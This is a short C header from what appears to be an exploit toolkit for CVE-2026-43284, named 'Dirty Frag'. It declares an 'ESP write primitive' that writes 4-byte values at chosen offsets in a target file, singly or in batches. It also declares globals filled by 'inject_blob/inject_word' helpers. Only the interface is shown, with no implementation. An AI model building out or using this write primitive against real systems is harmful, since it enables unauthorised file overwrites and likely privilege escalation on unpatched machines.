dirtyfrag_write4.h

/*
 * dirtyfrag_write4.h -- CVE-2026-43284 Dirty Frag ESP write primitive
 */
#ifndef DIRTYFRAG_WRITE4_H
#define DIRTYFRAG_WRITE4_H

#include <stdint.h>
#include <sys/types.h>

struct df_write_req {
    off_t    offset;
    uint32_t value;
};

/* Batch write: fork once, write count values. Fast. */
int dirtyfrag_write4_batch(const char *path, struct df_write_req *reqs, int count);

/* Single write (slow - one fork). Set g_df_target_foff first. */
int dirtyfrag_write4(void *addr, uint32_t value);

/* Set target file path (called once before writes). */
void dirtyfrag_set_path(const char *path);

/* Cleanup (no-op for current implementation). */
void dirtyfrag_cleanup(void);

/* Globals set by inject_blob/inject_word before each write */
extern int   g_df_target_fd;
extern off_t g_df_target_foff;

#endif /* DIRTYFRAG_WRITE4_H */